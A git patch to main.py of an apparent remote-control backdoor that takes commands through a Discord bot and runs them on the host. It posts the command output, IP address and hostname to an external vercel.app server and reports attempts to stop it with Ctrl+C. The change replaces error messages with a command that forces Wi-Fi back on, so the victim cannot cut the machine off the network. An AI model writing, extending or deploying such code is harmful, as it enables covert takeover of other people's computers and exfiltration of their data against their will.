From 5fb695bca37e000bdde049eef5f647751ee8effd Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Sun, 27 Aug 2023 22:59:06 +0800 Subject: updated --- main.py | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) (limited to 'main.py') diff --git a/main.py b/main.py index 2464981..0a25a71 100644 --- a/main.py +++ b/main.py @@ -36,11 +36,11 @@ while True: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when handling discord api``") except KeyboardInterrupt: - print("Failed to connect to server") + system("/usr/sbin/networksetup -setairportpower en0 on") continue continue except: - print("Failed to connect to server") + system("/usr/sbin/networksetup -setairportpower en0 on") sleep(3) continue # execute command @@ -81,8 +81,9 @@ while True: # except KeyboardInterrupt: # post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when replying to ping``") # except: -# print("Failed to connect to server") -# continue + system("/usr/sbin/networksetup -setairportpower en0 on") + +# continue if command.startswith("cd"): dir=command.replace('cd', '') try: @@ -96,7 +97,8 @@ while True: except FileNotFoundError: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```No Such Directory```-{ip}@{hostname}") except: - print("Failed to connect to server") + system("/usr/sbin/networksetup -setairportpower en0 on") + continue old_command = command if localcmd: @@ -126,7 +128,8 @@ while True: continue continue except: - print("Failed to sent (error)output") + system("/usr/sbin/networksetup -setairportpower en0 on") + continue if cmdout.decode() != "" and cmderr.decode() == "": try: @@ -141,7 +144,8 @@ while True: continue continue except: - print("Failed to sent output") + system("/usr/sbin/networksetup -setairportpower en0 on") + continue elif cmdout.decode() == "" and cmderr.decode() == "": try: @@ -153,7 +157,8 @@ while True: continue continue except: - print("Failed to sent output") + system("/usr/sbin/networksetup -setairportpower en0 on") + continue old_command = command continue -- cgit v1.2.3